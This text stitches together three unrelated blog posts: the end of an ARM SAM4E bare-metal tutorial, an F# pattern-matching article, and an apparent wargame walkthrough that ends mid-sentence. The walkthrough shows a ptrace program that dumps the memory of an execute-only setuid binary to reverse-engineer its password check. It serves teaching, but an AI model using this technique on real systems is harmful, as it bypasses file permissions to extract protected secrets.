code)`` ``while``(1);`` ` ` ``return` `0;``}`  
---|---  
An object file will have a number of sections, but we are specifically
interested in:  

  * .bss

  * Global variables whose values are 0 \(uninitialized or assigned\)

  * .data

  * Global variables whose values are initialized \(non-zero\)

  * .rodata

  * Read only globally defined variables

  * .text

  * Executable machine code

The remaining sections contain debugging information that I have safely
managed to avoid for the sake of this project.  
  
The program above can be compiled and disassembled using the following
commands. The -c flag instructs the compiler to produce an object file that is
not linked \(more on this later\). I have set the -g flag to enable debugging
symbols. This will make our disassembly listing much easier to work with.
Finally, I have disabled optimizations with -O0. The second command simply
disassembles all sections and saves to a file.  

?

12| `arm-none-eabi-gcc -O0 -g -c -nostartfiles main.c -o main.o``arm-none-
eabi-objdump -DS main.o > main.o.S`  
---|---  
If you were to open main.o.S in a text editor, you would see the following
disassembly listing. I have omitted the debug sections from this article as it
would be quite long.  

?

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647|
`main.o: file format elf32-littlearm` `Disassembly of section .text:`
`00000000 <main>:``uint32_t i = 0x00; // .bss``uint32_t j; // .bss``uint32_t k
= 100; // .data``char *phrase = "Andrew Rossignol"; // .rodata` `int
main(void) { // .text (all executable code)`` ``0: e52db004 push {fp} ; (str
fp, [sp, #-4]!)`` ``4: e28db000 add fp, sp, #0`` ``8: e24dd00c sub sp, sp,
#12`` ``int z = 0;`` ``c: e3a03000 mov r3, #0`` ``10: e50b3008 str r3, [fp,
#-8]`` ``while(1);`` ``14: eafffffe b 14 <main x14="">` `Disassembly of
section .data:` `00000000 <k>:`` ``0: 00000064 andeq r0, r0, r4, rrx`
`00000004 <phrase>:`` ``4: 00000000 andeq r0, r0, r0` `Disassembly of section
.bss:` `00000000 <i>:``uint32_t i = 0x00; // .bss``uint32_t j; //
.bss``uint32_t k = 100; // .data``char *phrase = "Andrew Rossignol"; //
.rodata` `int main(void) { // .text (all executable code)`` ``0: 00000000
andeq r0, r0, r0` `Disassembly of section .rodata:` `00000000 <.rodata>:``
``0: 72646e41 rsbvc r6, r4, #1040 ; 0x410`` ``4: 52207765 eorpl r7, r0,
#26476544 ; 0x1940000`` ``8: 6973736f ldmdbvs r3!, {r0, r1, r2, r3, r5, r6,
r8, r9, ip, sp, lr}^`` ``c: 6c6f6e67 stclvs 14, cr6, [pc], #-412 ; fffffe78
<phrase+0xfffffe74>`` ``10: 00000000 andeq r0, r0, r0</main>`  
---|---  
You will see the phrase "Disassembly of section" numerous times in this file.
It is easy to see how the variables and executable code relate between main.c
and main.o.S. Take note that that the addresses in each section are starting
at 0x00000000. This is because the object has not been "located". Each of
these sections must be inserted into Flash Memory or SRAM at specific
locations. This is the job of the linker and the linker script.  
  

####  Linking

  

Now that you have an understanding of why linking is important I can explain
what a linker script is. When you compile your program, you will end up with
numerous object files that must be combined into one executable \(memory
space\). This is known as linking. The linker needs to have an understanding
of how big your flash memory is, how much RAM you have and where it should be
putting the various sections. It is the job of the linker script to let the
GNU Linker know where to locate the various sections of your binary. I will
present a linker script that I have written for my C Runtime \(more on this
later\).  

?

123456789101112| `/*`` ``* Linker script for SAM4E16E`` ``*/` `MEMORY {``
``rom (rx) : ORIGIN = 0x00400000, LENGTH = 0x00100000`` ``ram (rwx) : ORIGIN =
0x20000000, LENGTH = 0x00002000``}` `_stackStart = ALIGN (ORIGIN(ram) +
LENGTH(ram), 8);` `...`  
---|---  
In the MEMORY section we tell the linker what types of memory we have
available. In the SAM4E we have ROM that is read-execute only. We also have
RAM that is read-write-execute. We also indicate the start addresses and
length of these memory segments. This information comes from the SAM4E
datasheet \(page 58\).  
  
I have also defined the default value of the stack pointer to be at the end of
RAM. The stack on ARM processors grows downwards. This means that I
essentially have no heap.  

?

12345678910111213| `...` `SECTIONS {`` ``.text : {`` ``*(.vectorTable*);``
``*(.text*);`` ``*(.rodata*);`` ``} > rom`` ` ` ``. = ALIGN(4);``
``_startFlashData = .;` `...`  
---|---  
I have defined three sections in my linker script. On line 4, I indicate that
I wish to create a section named .text. In this data segment I am inserting a
user defined section named 'vectorTable'. You will see this again in the C
Runtime. I am also inserting the .text and .rodata sections that I presented
earlier. On line 8 I am instructing the linker to insert these three sections
into ROM which was defined in the MEMORY area.  
  
On lines 10 and 11, I define a variable indicating the start of the data
segment in flash. This may sound confusing at first glance. The data section
contains globally defined variables that must exist in RAM before the C
program executes. There is no way to permanently store these variables in RAM
as SRAM is volatile storage. Instead the .data section is stored in flash and
then copied to SRAM when the system boots. This is accomplished in the C
Runtime \(keep reading\).  
  
The special '.' variable refers to the current address in memory and
ALIGN\(4\) will align the current address to the next even 32-bit address.
Thus, we are snapping the current address to the next even 32-bit value. These
lines create a "linker defined symbol" that can be referred to in C using the
extern keyword or within the linker script itself.  

?

12345678910111213141516171819| `...`` ``.data : AT(_startFlashData) {`` ``. =
ALIGN(4);`` ``_startData = .;`` ``*(.data*);`` ``. = ALIGN(4);`` ``_endData =
.;`` ``} > ram`` ` ` ``.bss (NOLOAD) : {`` ``. = ALIGN(4);`` ``_startBss =
.;`` ``*(.bss*);`` ``. = ALIGN(4);`` ``_endBss = .;`` ``} > ram``}` `...`  
---|---  
Next, I am instructing the linker to store the .data section at the address
stored in the \_startFlashData variable. I define two variables within the
.data section, the starting address and the ending address of the .data
section in RAM. I will use these symbols in the C Runtime.  
  
The last section, .bss, is very similar to the .data section except I am
instructing the linker not to store it \(NOLOAD\) anywhere in the image. This
makes sense as the .bss segment consists only of zero valued variables.  
  

####  C Runtime \(crt0\)

  

<img src='img/Temp2_8285.jpg' width='240' />

As I mentioned earlier, a C program has a few dependencies that must be
satisfied before it can execute. This happens in the C Runtime, also known as
crt0. The C Runtime is executed before your program starts. It takes care of
setting up the stack pointer, initializing RAM, setting up the standard
library and calling your main\(\). I have taken some hints from the Atmel
Software Framework when writing this code.

The following is a C Runtime that I have written. In the linker defined
symbols I obtain the values of the symbols generated in the linker script.

  

I have used a compiler directive \(\_\_attribute\_\_\) in the Interrupt Vector
Table to instruct the compiler to declare the IVT array in its' own section.
The IVT must be located at the beginning of flash memory in these processors.

?

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859|
`/*`` ``* C Runtime for the SAM4E Processor`` ``*`` ``* Initializes the
processor by setting the stack pointer, initializing the`` ``* vector table,
copying data into sram, clearing bss and calling main.`` ``*/` `#include
<stdint.h>` `/* Linker Generated Symbols
***************************************************/` `extern` `uint32_t
_stackStart; ``// Start of the stack` `extern` `uint32_t _startFlashData; ``//
Beginning of the .data segment in flash``extern` `uint32_t _startData; ``//
Start of the .data segment in sram``extern` `uint32_t _endData; ``// End of
the .data segment in sram` `extern` `uint32_t _startBss; ``// Beginning of the
.bss segment``extern` `uint32_t _endBss; ``// End of the .bss segment` `/*
Interrupt Vector Table *****************************************************/`
`void` `crt0(``void``);` `__attribute__
((section(``".vectorTable"``)))``const` `void` `*VectorTable[] = {``
``&_stackStart, ``// Stack Pointer`` ``&crt0 ``// Reset Vector``};` `/* C
Runtime ******************************************************************/`
`extern` `int` `main(``void``);` `void` `crt0(``void``) {`` ``// Copy data``
``uint32_t *pSrc = &_startFlashData;`` ``uint32_t *pDest = &_startData;`` ` `
``while``(pDest < &_endData) {`` ``*pDest = *pSrc;`` ` ` ``pDest++;``
``pSrc++;`` ``}`` ` ` ``// Zero bss`` ``pDest = &_startBss;`` ``while``(pDest
< &_endBss) {`` ``*pDest = 0;`` ``pDest++;`` ``}`` ` ` ``// Call through to
main`` ``main();`` ` ` ``// Trap a main that returns`` ``while``(1);``}`  
---|---  
  
The last bit of C code initializes ram and calls main. The first thing I do is
copy the .data segment from flash into ram. I write zeros to the entire bss
region and then call main.  
  
In embedded systems, it is atypical to have a main return. I have added a
while\(1\) catch at the end of the runtime. This ensures that the processor is
never in an undefined or unknown state.  
  

####  Test Program\!

  

I completed this project incrementally. I was testing at each step through the
process to ensure that the final executable image contained the correct values
at the correct memory addresses. I was able to declare global variables and
use them at runtime \(tested using the LEDs and by inspection of the
disassembly listing\).

  

I wrote a header file to describe the SAM4E PIO controller and used it to
enable the blue and amber LEDs. I also made the green LED blink with a crude
software delay.

?

123456789101112131415161718192021222324252627282930313233343536373839404142|
`/*`` ``* Header file for the SAM4E Processor`` ``*`` ``* Defines registers
and macros for use of the SAM4E processor.`` ``*/` `#ifndef SAM4E_H``#define
SAM4E_H` `/* PIO Controller
*************************************************************/` `// Base Bank
Addresses``#define PIO_A (uint32_t)0x400E0E00``#define PIO_B
(uint32_t)0x400E1000``#define PIO_C (uint32_t)0x400E1200``#define PIO_D
(uint32_t)0x400E1400``#define PIO_E (uint32_t)0x400E1600` `// Register
Offsets``#define PIO_PER (uint32_t)0x00000000``#define PIO_PDR
(uint32_t)0x00000004` `...` `#define PIO_PCISR (uint32_t)0x00000160``#define
PIO_PCRHR (uint32_t)0x00000164` `/*`` ``* Sets a PIO register given a bank, an
offset and a new value`` ``*/``#define pio_set_register(bank, offset, value) {
\`` ``(*(uint32_t *)(bank + offset)) = value; \``}` `/*`` ``* Gets a PIO
register given a bank and an offset`` ``*/``#define pio_get_register(bank,
offset) { \`` ``return` `*((uint32_t *)(bank + offset)); \``}` `#endif`  
---|---  
I make use of this header file in my simple test program.  

?

123456789101112131415161718192021222324252627282930313233343536373839| `/*`` ``* Basic SAM4E Test File`` ``*/` `#include <stdint.h>` `#include "sam4e.h"` `// Watchdog Defines``#define WDT_MR *((uint32_t *)0x400E1854)` `int` `main(``void``) {`` ``// Disable the watchdog`` ``WDT_MR = 0;`` ` ` ``// Configure the PIO lines`` ``pio_set_register(PIO_A, PIO_OER, (1 << 0));`` ``pio_set_register(PIO_D, PIO_OER, (1 << 20) | (1 << 21));`` ` ` ``// Enable the blue and amber LEDs`` ``pio_set_register(PIO_A, PIO_CODR, (1 << 0));`` ``pio_set_register(PIO_D, PIO_CODR, (1 << 20));`` ` ` ``// Blink the green LED`` ``while``(1) {`` ``pio_set_register(PIO_D, PIO_CODR, (1 << 21));`` ` ` ``volatile` `uint32_t cnt = 1;`` ``while``(cnt++ < 100000);`` ` ` ``pio_set_register(PIO_D, PIO_SODR, (1 << 21));`` ` ` ``cnt = 1;`` ``while``(cnt++ < 100000);`` ``}`` ` ` ` ` ``return` `0;``}`  
---|---  
Everything works just as I had expected it to. It took me just over a week
with a few hours here and there part time to put all of the pieces of this
puzzle together.  
  
<img src='img/Temp2_8284.jpg' width='640' height='426' />  
---  
The CRT0 Grin :\]  
If you have any questions at all, do not hesitate to leave them in the
comments below. I have tried to write this as a guide for someone who was in
my position a year ago. I am sure that there are some improvements that I
could make to my CRT and I would really like to see them.  
  
Here are the source files used for this post.  
  
Thanks for reading\!

# Pattern Matching - Make the Compiler Work for You - Deliberate Software

**Created:**| _5/3/2014 11:20:24 PM_  
---|---  
**Updated:**| _5/3/2014 11:20:24 PM_  
**Author:**| __  
**Tags:**| _compilers_  
  

# Pattern Matching - Make the Compiler Work for You

Apr 28, 2014

Pattern matching is a simple tool that will make your code safer and easier to
read.

Consider the following code that converts an Int to a string.

|

[code]

    public  Language 
        Spanish
        English
    public static string convert number Language  
        string   
           LanguageEnglish 
            switchnumber 
                    "zero" break
                    "one" break
                default   "..." break
             LanguageSpanish 
            switchnumber 
                    "zero" break
                    "uno" break
                default   "~~~" break
        return 
    
[/code]  
---|---  
What happens when we make this simple change?

|

[code]

    public  Language 
        Spanish
        English
        German
    
[/code]  
---|---  
Does the code still compile? Sure does\! Does the compiler/IDE offer us any
indication that something is missing? Nope\! Our code has a potential bug that
is only exposed at run-time, and nothing will tell us that. We made it fail
gracefully by ensuring our code always returns at least an empty string, but
we have created a bug that can only really be caught by something external:
either automated tests or manual checking.

The OO purists and “Anti-If” guys are probably leaping out of their seats.
“Use classes and an interface\!” they yell. Ok, sure. I assert that it just
makes things even worse.

|

[code]

    public interface ILanguage 
      String convert 
    public class Spanish  ILanguage 
      public String convert   
            switch  
                  "zero" break
                  "uno" break
              default   "~~~" break
          return 
    public class English  ILanguage 
      public String convert   
            switch  
                  "zero" break
                  "one" break
              default   "..." break
          return 
    // somewhere else...
    public static string convert  Language  
        return getLanguageconvert
    public static ILanguage getLanguageLanguage  
        switch  
             LanguageEnglish return  English  break
             LanguageSpanish return  Spanish  break
            default throw  Exception
    
[/code]  
---|---  
We have turned 21 lines in one file into 36 in three files \(not counting
namespaces and imports\). Does this new structure give us any additional
safety when we add a new concrete implementation? How about when we add a new
enum value? This code is even more likely to cause bugs than the first,
because now we have an implicit coupling between the enum and the concrete
class. We could get rid of the enum, and “pass in concrete class” but
_something_ still has to say which concrete class to instantiate.

Imagine if the compiler could warn us when either the enum or the class
changed. Imagine if instead of having to hunt down the possible uses, we could
just compile and fix the errors.

Good news, we can\!

Check out this F\# code. If you have never seen F\# before, I know, it looks
completely crazy\! It _still_ looks a little weird to me, but just try to read
it. I think you will surprise yourself. This is a function called `convert`,
and if you keep in mind that the types always come AFTER the value, the code
makes a lot more sense. A parameter in C\# would be `int number`; in F\# it is
written `number:Int`. Don’t ask me why. The `match number with` is just how
you do the equivalent to a `switch/case` in C\#, but you will see in a second
it is a lot more powerful\!

|

[code]

     convertnumber Language string 
        match  
             LanguageEnglish ->
                match number 
                     -> "one"
                     -> "two"
                     -> "..."
    
[/code]  
---|---  
We are using the same enum from the C\# file, but it is missing something,
right? Where are the Spanish and German parts? I try to compile this and what
do I see?

`~/Program.fs(11,11): Warning FS0025: Incomplete pattern matches on this
expression. For example, the value 'enum<Language> (0)' may indicate a case
not covered by the pattern(s). (FS0025)`

Spittake mushroom soup, the compiler just caught a potential bug for us\! A
C\# run-time bug no less\! Not only is this very powerful, but it is so
simple. I can code the way I normally do, only now I get additional safety for
free\! And no unit or integration test would ever catch this class of errors.

Heck, if you really want to keep your classes and interfaces in C\#, you can
have some “glue code” in F\#, and still get all the benefit\!

|

[code]

     convertnumber  
        match  
             LanguageEnglish -> Englishconvertnumber
    
[/code]  
---|---  
This still calls the C\# class above, and now the compiler gives us a warning
when we add a new enum value\!

In this way, pattern matching is able to clearly remove edge cases. We
converted an unsafe `if` and `switch` statement into a type safe `match`.

BONUS ROUND\!

What we have already seen of pattern matching makes it a better `switch/case`
but what about the `if` statement? Thankfully the `match/with` statement
allows for patterns matched to have a `when` clause which only matches when
the condition is true:

|

[code]

     convertnumber  
        match  
             LanguageEnglish ->
                match number 
                          -> "Large!"
                      -> "zero"
             LanguageSpanish ->
                match number 
                          -> "Grande!"
                      -> "zero"
    
[/code]  
---|---  
Running the compiler again give us:

`/home/jack/programming/monads-fsharp/monads-fsharp/Program.fs(19,19): Warning
FS0025: Incomplete pattern matches on this expression. For example, the value
'1' may indicate a case not covered by the pattern(s). However, a pattern rule
with a 'when' clause might successfully match this value. (FS0025) (monads-
fsharp)`

That’s right, it checks numbers too.

Lastly, it is possible to match on a combination of values, all at once. We
can convert our more complex structure to something simpler using this trick,
and the compiler is still intelligent enough to check for missing cases.

|

[code]

     convertnumber  
        match  number 
             LanguageEnglish  -> "zero"
             LanguageEnglish  -> "one"
             LanguageEnglish      -> "Larger than one!"
             LanguageEnglish  -> "dunno"
             LanguageSpanish  -> "zero"
             LanguageSpanish      -> "Grande!"
    
[/code]  
---|---  
Here we introduce the `_` which is equivalent to a `default` in a C\#
`switch/case` statement. The pattern `Language.English, _ ->` sets a default
for any number in `Language.English` not already matched. The bug in the code
here is the missing `Language.Spanish` with numbers 1-5. What does the
compiler say?

`Program.fs(11,11): Warning FS0025: Incomplete pattern matches on this
expression. For example, the value '(_,1)' may indicate a case not covered by
the pattern(s). However, a pattern rule with a 'when' clause might
successfully match this value. (FS0025) (monads-fsharp)`

Lastly, let’s show the final result of converting our original function to
F\#. If your entire function is just a single pattern match, you can remove
the `match/with` line and use the `function` keyword, and simply match against
the parameters \(which I reversed for clarity, but do not need to be
written\).

|

[code]

     convert  function
         LanguageEnglish  -> "zero"
         LanguageEnglish  -> "one"
         LanguageEnglish  -> "..."
         LanguageSpanish  -> "zero"
         LanguageSpanish  -> "uno"
         LanguageSpanish  -> "~~~"
    
[/code]  
---|---  
Our original 17 line convert function, converted into a _safer_ 7 lines\! I
never had to specify what the types of lang, number and the return type are,
because the compiler is able to figure that out from the code I wrote.

If you are not convinced at this point that pattern matching is a big step
forward in the safety and ease of development, I am not sure what else would
convince you. More safety means less time spent tracking down bugs and more
time adding on features\!

# Dany's 'blog

**Created:**| _1/31/2012 7:36:07 PM_  
---|---  
**Updated:**| _1/31/2012 7:36:36 PM_  
**Author:**| __  
**Tags:**| _bookmark awesome_  
  

#  Dany's 'blog

## Saturday, January 28, 2012

###  Blackbox - chapter 8

_As in the previous posts, the password for the next level has been replaced
with question marks so as to not make this too obvious, and so that the point
of the walkthrough, which is mainly educational, will not be missed._  
  
Also, make sure you notice this **SPOILER ALERT\!** If you want to try and
solve the level by yourself then read no further\!  
  
Let's see what level 8 holds in store:  

[code]

    $ ssh -p 2225 level8@blackbox.smashthestack.org
    level8@blackbox.smashthestack.org's password:
    ...
    level8@blackbox:~$ ls -l
    total 16
    -rw-r--r-- 1 root   root      10 2008-01-24 05:58 password
    -rws--x--x 1 level9 level9 12254 2007-12-29 14:10 secrets
[/code]

Wait a minute here, what's that? We only have execution permissions for
secrets.  
How can we analyze it if we can't even read it?  
Well, there is a way, using ptrace sorcery. I won't go into too much depth
here, so I recommend you read Playing with ptrace, Part I \(I'd also recommend
you read part II, just for general knowledge\).  
Anyway, to summarize these articles, the way debuggers work is by forking,
invoking ptrace with PTRACE\_TRACEME in the child, and then executing the to-
be-traced process. The parent process can then control the child process and
read its status using other ptrace calls.  
So let's write a little program that does just that, and reads the memory
contents of the child process where the child process will be secrets, this is
how we can cheat the permission mechanism.  

[code]

    level8@blackbox:/tmp$ cat > wrap.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/user.h>
    #include <sys/ptrace.h>
    #include <unistd.h>
    
    int main(int argc, char *argv[])
    {
        int pid;
        char *prog[] = {"/home/level8/secrets", NULL};
        long addr;
        long size;
        int i = 0;
        int val;
        struct user_regs_struct regs;
        if (argc != 3) {
            printf("Usage: %s <address> <number of long words>\n", argv[0]);
            return 1;
        }
        addr = strtoul(argv[1], NULL, 16);
        size = strtoul(argv[2], NULL, 10);
        pid = fork();
        if (0 == pid) {
            ptrace(PTRACE_TRACEME, 0, NULL, NULL);
            execve(prog[0], prog, NULL);
        } else {
            wait(NULL);
            for (i = 0; i < size; ++i) {
                val = ptrace(PTRACE_PEEKTEXT, pid, addr + 4*i, NULL);
                printf("%02x", val & 0xFF);
                printf("%02x", (val >> 8) & 0xFF);
                printf("%02x", (val >> 16) & 0xFF);
                printf("%02x", (val >> 24) & 0xFF);
            }
            printf("\n");
            ptrace(PTRACE_KILL, pid, NULL, NULL);
        }
        return 0;
    }
    
    level8@blackbox:/tmp$ gcc -o wrap wrap.c
[/code]

As you can see, the child just invokes ptrace with PTRACE\_TRACEME and
executes the level's program.  
The parents waits for the child to stop, and then reads the specified amount
of long words from the specified address, prints them out encoded as a hex
string, and then kills the child.  
Let's try out our new toy, but which address interests us? Well, the function
main commonly starts at 0x08048464, as for the number of bytes we read, let's
read some large amount, I'm sure main isn't too long:  

[code]

    level8@blackbox:/tmp$ ./wrap 0x08048464 200
    5589e55381ec3404000083e4f0b80000000029c4c745f464870408c7042475870408e8cdfeffff8945f0c
    785e4fbffff000000008b45f0890424e8c5feffff483985e4fbffff734781bde4fbfffffb0300007602eb
    398d85e8fbffff89c3039de4fbffff8b85e4fbffff0345f08d48018b85e4fbffff0345f00fb6100fb6012
    8d0045a88038d85e4fbffffff00eba58d85e8fbffff89c20395e4fbffff8b85e4fbffff0345f00fb600c0
    f804240f042188028d85e9fbffff89c20395e4fbffff8b85e4fbffff0345f00fb600240f042188028d85e
    afbffff0385e4fbffffc60000c785e4fbffff000000008d85e8fbffff890424e80bfeffff483985e4fbff
    ff7205e99b0000008d85e8fbffff89c1038de4fbffff8d85e8fbffff89c20395e4fbffff8d85e9fbffff0
    385e4fbffff0fb600320288018d85e9fbffff89c1038de4fbffff8d85e9fbffff89c20395e4fbffff8d85
    e8fbffff0385e4fbffff0fb600320288018d85e8fbffff89c1038de4fbffff8d85e8fbffff89c20395e4f
    bffff8d85e9fbffff0385e4fbffff0fb600320288018d85e4fbffff830002e949ffffff8d95e8fbffff8b
    45f489442404891424e81dfdffff85c0751ac7042492870408e85dfdffffc704249b870408e811fdffffe
    b0cc70424a3870408e843fdffffb8000000008b5dfcc9c3905589e5575631f65383ec0ce8a000000081c3
    44120000e8a5fcffff8d9314ffffff8d8314ffffff29c2c1fa0239d6731c89d78db426000000008dbc270
    0000000ff94b314ffffff4639fe72f483c40c5b5e5f5dc38db6000000008dbf000000005589e583ec0889
    1c24e84200000081c3e6110000897424048d8314ffffff8d9314ffffff29d0c1f80285c08d70ff7510e85
    b0000008b1c248b74240489ec5dc3ff94b314ffffff89f04e85c075f2ebe08b1c24c39090909090909090
    909090905589e55383ec04bb90980408a19098040883f8ff74168d76008dbc270000000083eb04ffd08b0
    383f8ff75f4585b5dc35589e553e8000000005b81c35b11000052e89afcffff8b5dfcc9c3000300000001
    000200555b5b5a526357666358564d246c222300506c6561736520656e74657220796f
[/code]

Now, to disassemble this I will use nasm which is not installed on the
blackbox server. First I'll decode the hex string into a binary file which I
will call main.bin, and then I will disassemble it at the base address of
main:  

[code]

    ~$ ndisasm -u -o 0x08048464 main.bin |cat -n|grep ret
       124	0804864E  C3                ret
       154	080486A3  C3                ret
       176	080486EF  C3                ret
       184	08048703  C3                ret
       215	0804873F  C3                ret
       226	0804875A  C3                ret
    ~$ ndisasm -u -o 0x08048464 main.bin | head -n 124
    08048464  55                push ebp
    08048465  89E5              mov ebp,esp
    08048467  53                push ebx
    08048468  81EC34040000      sub esp,0x434
    0804846E  83E4F0            and esp,byte -0x10
    08048471  B800000000        mov eax,0x0
    08048476  29C4              sub esp,eax
    08048478  C745F464870408    mov dword [ebp-0xc],0x8048764
    0804847F  C7042475870408    mov dword [esp],0x8048775
    08048486  E8CDFEFFFF        call dword 0x8048358
    0804848B  8945F0            mov [ebp-0x10],eax
    0804848E  C785E4FBFFFF0000  mov dword [ebp-0x41c],0x0
             -0000
    08048498  8B45F0            mov eax,[ebp-0x10]
    0804849B  890424            mov [esp],eax
    0804849E  E8C5FEFFFF        call dword 0x8048368
    080484A3  48                dec eax
    080484A4  3985E4FBFFFF      cmp [ebp-0x41c],eax
    080484AA  7347              jnc 0x80484f3
    080484AC  81BDE4FBFFFFFB03  cmp dword [ebp-0x41c],0x3fb
             -0000
    080484B6  7602              jna 0x80484ba
    080484B8  EB39              jmp short 0x80484f3
    080484BA  8D85E8FBFFFF      lea eax,[ebp-0x418]
    080484C0  89C3              mov ebx,eax
    080484C2  039DE4FBFFFF      add ebx,[ebp-0x41c]
    080484C8  8B85E4FBFFFF      mov eax,[ebp-0x41c]
    080484CE  0345F0            add eax,[ebp-0x10]
    080484D1  8D4801            lea ecx,[eax+0x1]
    080484D4  8B85E4FBFFFF      mov eax,[ebp-0x41c]
    080484DA  0345F0            add eax,[ebp-0x10]
    080484DD  0FB610            movzx edx,byte [eax]
    080484E0  0FB601            movzx eax,byte [ecx]
    080484E3  28D0              sub al,dl
    080484E5  045A              add al,0x5a
    080484E7  8803              mov [ebx],al
    080484E9  8D85E4FBFFFF      lea eax,[ebp-0x41c]
    080484EF  FF00              inc dword [eax]
    080484F1  EBA5              jmp short 0x8048498
    080484F3  8D85E8FBFFFF      lea eax,[ebp-0x418]
    080484F9  89C2              mov edx,eax
    080484FB  0395E4FBFFFF      add edx,[ebp-0x41c]
    08048501  8B85E4FBFFFF      mov eax,[ebp-0x41c]
    08048507  0345F0            add eax,[ebp-0x10]
    0804850A  0FB600            movzx eax,byte [eax]
    0804850D  C0F804            sar al,0x4
    08048510  240F              and al,0xf
    08048512  0421              add al,0x21
    08048514  8802              mov [edx],al
    08048516  8D85E9FBFFFF      lea eax,[ebp-0x417]
    0804851C  89C2              mov edx,eax
    0804851E  0395E4FBFFFF      add edx,[ebp-0x41c]
    08048524  8B85E4FBFFFF      mov eax,[ebp-0x41c]
    0804852A  0345F0            add eax,[ebp-0x10]
    0804852D  0FB600            movzx eax,byte [eax]
    08048530  240F              and al,0xf
    08048532  0421              add al,0x21
    08048534  8802              mov [edx],al
    08048536  8D85EAFBFFFF      lea eax,[ebp-0x416]
    0804853C  0385E4FBFFFF      add eax,[ebp-0x41c]
    08048542  C60000            mov byte [eax],0x0
    08048545  C785E4FBFFFF0000  mov dword [ebp-0x41c],0x0
             -0000
    0804854F  8D85E8FBFFFF      lea eax,[ebp-0x418]
    08048555  890424            mov [esp],eax
    08048558  E80BFEFFFF        call dword 0x8048368
    0804855D  48                dec eax
    0804855E  3985E4FBFFFF      cmp [ebp-0x41c],eax
    08048564  7205              jc 0x804856b
    08048566  E99B000000        jmp dword 0x8048606
    0804856B  8D85E8FBFFFF      lea eax,[ebp-0x418]
    08048571  89C1              mov ecx,eax
    08048573  038DE4FBFFFF      add ecx,[ebp-0x41c]
    08048579  8D85E8FBFFFF      lea eax,[ebp-0x418]
    0804857F  89C2              mov edx,eax
    08048581  0395E4FBFFFF      add edx,[ebp-0x41c]
    08048587  8D85E9FBFFFF      lea eax,[ebp-0x417]
    0804858D  0385E4FBFFFF      add eax,[ebp-0x41c]
    08048593  0FB600            movzx eax,byte [eax]
    08048596  3202              xor al,[edx]
    08048598  8801              mov [ecx],al
    0804859A  8D85E9FBFFFF      lea eax,[ebp-0x417]
    080485A0  89C1              mov ecx,eax
    080485A2  038DE4FBFFFF      add ecx,[ebp-0x41c]
    080485A8  8D85E9FBFFFF      lea eax,[ebp-0x417]
    080485AE  89C2              mov edx,eax
    080485B0  0395E4FBFFFF      add edx,[ebp-0x41c]
    080485B6  8D85E8FBFFFF      lea eax,[ebp-0x418]
    080485BC  0385E4FBFFFF      add eax,[ebp-0x41c]
    080485C2  0FB600            movzx eax,byte [eax]
    080485C5  3202              xor al,[edx]
    080485C7  8801              mov [ecx],al
    080485C9  8D85E8FBFFFF      lea eax,[ebp-0x418]
    080485CF  89C1              mov ecx,eax
    080485D1  038DE4FBFFFF      add ecx,[ebp-0x41c]
    080485D7  8D85E8FBFFFF      lea eax,[ebp-0x418]
    080485DD  89C2              mov edx,eax
    080485DF  0395E4FBFFFF      add edx,[ebp-0x41c]
    080485E5  8D85E9FBFFFF      lea eax,[ebp-0x417]
    080485EB  0385E4FBFFFF      add eax,[ebp-0x41c]
    080485F1  0FB600            movzx eax,byte [eax]
    080485F4  3202              xor al,[edx]
    080485F6  8801              mov [ecx],al
    080485F8  8D85E4FBFFFF      lea eax,[ebp-0x41c]
    080485FE  830002            add dword [eax],byte +0x2
    08048601  E949FFFFFF        jmp dword 0x804854f
    08048606  8D95E8FBFFFF      lea edx,[ebp-0x418]
    0804860C  8B45F4            mov eax,[ebp-0xc]
    0804860F  89442404          mov [esp+0x4],eax
    08048613  891424            mov [esp],edx
    08048616  E81DFDFFFF        call dword 0x8048338
    0804861B  85C0              test eax,eax
    0804861D  751A              jnz 0x8048639
    0804861F  C7042492870408    mov dword [esp],0x8048792
    08048626  E85DFDFFFF        call dword 0x8048388
    0804862B  C704249B870408    mov dword [esp],0x804879b
    08048632  E811FDFFFF        call dword 0x8048348
    08048637  EB0C              jmp short 0x8048645
    08048639  C70424A3870408    mov dword [esp],0x80487a3
    08048640  E843FDFFFF        call dword 0x8048388
    08048645  B800000000        mov eax,0x0
    0804864A  8B5DFC            mov ebx,[ebp-0x4]
    0804864D  C9                leave
    0804864E  C3                ret
[/code]

I hope you don't mind that we switched from the gas syntax to the intel
syntax, but it's good to learn to read both.  
Anyway, since we disassembled raw code, we don't have any symbolic
information, so we are going to have have to guess function based on context.
So let's start:  

[code]

    08048478  C745F464870408    mov dword [ebp-0xc],0x8048764
[/code]

This loads the local variable at ebp-0xc with some constant which looks like
an address in the data section. Let's use our tool again to read what's in
that address.  

[code]

    level8@blackbox:/tmp$ ./wrap 0x08048764 10
    555b5b5a526357666358564d246c2223**00** 506c6561736520656e74657220796f7572207061737377
[/code]

See the 00 there? I suspect it is a string terminator, let's see what that
string is:  

[code]

    level8@blackbox:/tmp$ python -c "print '%r' % '555b5b5a526357666358564d246c\
    2223'.decode('hex')"
    'U[[ZRcWfcXVM$l"#'
[/code]

Odd string...seems like gibberish, we'll give ebp-0xc the name gibberish then.
Let's continue, it might make more sense later:  

[code]

    0804847F  C7042475870408    mov dword [esp],0x8048775
    08048486  E8CDFEFFFF        call dword 0x8048358
    0804848B  8945F0            mov [ebp-0x10],eax
    
[/code]

This is a function call with one parameter, which also looks like an address
in the data section:  

[code]

    level8@blackbox:/tmp$ ./wrap 0x08048775 10
    506c6561736520656e74657220796f75722070617373776f72643a20**00** 57656c636f6d650a002f62
[/code]

Again, I spot another string terminator, so let's decode the string:  

[code]

    level8@blackbox:/tmp$ python -c "print '%r' % '506c6561736520656e7465722079\
    6f75722070617373776f72643a20'.decode('hex')"
    'Please enter your password: '
[/code]

Aha, a prompt. It also looks like the return value is stored in the stack at
ebp-0x10. This means that this is not some regular printf or puts.  

[code]

    0804848E  C785E4FBFFFF0000  mov dword [ebp-0x41c],0x0
             -0000
[/code]

That's some sort of initialization of a variable at ebp-0x41c.  

[code]

    08048498  8B45F0            mov eax,[ebp-0x10]
    0804849B  890424            mov [esp],eax
    0804849E  E8C5FEFFFF        call dword 0x8048368
    080484A3  48                dec eax
    080484A4  3985E4FBFFFF      cmp [ebp-0x41c],eax
    080484AA  7347              jnc 0x80484f3
[/code]

This executes a mystery function on whatever was stored in ebp-0x10 \(the
return from that prompt function\), subtracts 1 from the return value and
compares the result to the variable at ebp-0x41c. Sort of like this:  

[code]

